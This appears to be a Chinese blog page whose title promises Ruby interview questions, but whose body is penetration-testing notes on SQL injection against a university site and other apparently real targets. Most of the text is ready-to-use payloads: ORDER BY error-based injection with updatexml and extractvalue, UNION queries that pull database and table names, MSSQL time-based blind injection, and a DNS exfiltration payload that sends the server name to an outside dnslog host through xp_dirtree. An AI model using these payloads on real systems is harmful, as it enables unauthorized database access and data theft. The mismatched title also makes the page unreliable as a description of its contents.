0
点赞
收藏
分享

微信扫一扫

【面试系列】Ruby 高频面试题

无愠色 2024-07-24 阅读 30

1、orderBy报错注入

某大学

www.target.com?orderBy=1

注入为orderBy注入,将orderby更改为id测试时并不能造成报错回显故不能当注入点

正常状态下

经过测试可知共14列,orderBy=15时报错,由于列名可控?orderby=$id

这里使用XPath报错注入,Geohash报错等均不能正常使用

orderBy=1/updatexml(0x0a,if(1=2,1,concat(0x0a,database())),0x0a)--+

orderBy=1/updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e)

orderBy=1/extractvalue(1,concat(0x7e,(select database())))

2、联合查询

经测试共有10列其中6,8为回显字段

www.target.com/.php?id=1%20union%20select%201,2,3,4,5,6,7,8,9,10%20--+

.php?id=1 union select 1,2,3,4,5,database(),7,version(),9,10 --+

表名:.php?id=1 union select 1,2,3,4,5,concat(table_name),7,version(),9,10 from information_schema.tables where table_schema='techmarthk_data'--+

3、mssql延时注入

两个路径两个sql为同一手法

延时注入+dnslog外带

post型,注入点为username

单引号回显不正常构造payload

admin+and+1=1';WAITFOR+DELAY'0:0:3'--+

判断数据库长度经测试为3

admin and 1=1'if(len(db_name())=3)WAITFOR+DELAY'0:0:3'--+

注出数据库名(这里两条payload有点绕)

区别:第一条payload需要进行url编码即可执行延时,如若直接执行则不会延时

           第二条payload不需要进行url编码即可执行延时,如若进行编码则不会延时

admin and 1=1'if(ascii(substring((db_name()),1,1))>1)WAITFOR DELAY'0:0:3'--+


admin and 1=1'if (ascii(substring((db_name()),1,1))>1) WAITFOR+DELAY'0:0:3'--+

dnslog外带

admin';DECLARE @payload varchar(8000);SET @payload=(SELECT @@SERVERNAME) '.3e3b54d658.ipv6.1433.eu.org.';EXEC('master..xp_dirtree"\\' @payload '\foobar$"');-- 

举报

相关推荐

0 条评论